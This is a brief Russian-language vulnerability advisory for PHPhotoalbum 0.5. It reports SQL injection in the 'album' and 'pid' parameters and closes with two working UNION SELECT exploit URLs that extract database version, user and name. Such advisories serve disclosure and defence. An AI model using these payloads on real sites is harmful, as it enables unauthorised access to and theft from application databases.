Программа: PHPhotoalbum 0.5
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL
команды в базе данных приложения. Уязвимость существует из-за недостаточной
обработки входных данных в параметре «album» сценарием thumbnails.php и в
параметре «pid» сценарием displayimage.php. Удаленный пользователь может с
помощью специально сформированного запроса выполнить произвольные SQL команды в
базе данных приложения.
Эксплоит:
http://[host]/[path]/thumbnails.php?album=-1+union+select+
concat_ws(0x10,now(),version(),user(),database())/*
http://[host]/[path]/displayimage.php?pid=-1+union+select+1,2,3,now(),version(),user()/*
